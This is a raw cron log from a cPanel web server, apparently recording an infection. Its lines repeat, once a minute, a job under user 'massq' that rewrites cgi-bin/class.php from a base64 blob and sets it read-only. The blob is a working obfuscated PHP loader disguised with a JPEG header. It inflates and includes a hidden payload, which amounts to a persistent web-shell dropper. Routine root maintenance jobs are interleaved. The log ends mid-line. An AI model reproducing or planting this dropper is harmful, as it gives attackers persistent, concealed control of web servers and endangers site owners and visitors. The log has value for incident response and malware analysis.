Apr  8 00:02:01 server CROND[7951]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:03:01 server CROND[8028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:04:01 server CROND[8102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:05:01 server CROND[8174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:05:01 server CROND[8175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:05:01 server CROND[8176]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 00:05:01 server CROND[8178]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:06:01 server CROND[8497]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:07:01 server CROND[8563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:08:01 server CROND[8721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:09:01 server CROND[8791]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 00:09:01 server CROND[8792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:10:01 server CROND[8871]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 00:10:01 server CROND[8872]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:10:01 server CROND[8873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:10:01 server CROND[8874]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:11:01 server CROND[9001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:12:01 server CROND[9105]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 00:12:01 server CROND[9107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:13:01 server CROND[9180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:14:01 server CROND[9475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 00:15:01 server CROND[9544]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 00:15:01 server CROND[9545]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Apr  8 00:15:01 server CROND[9546]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 00:15:01 server CROND[9547]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3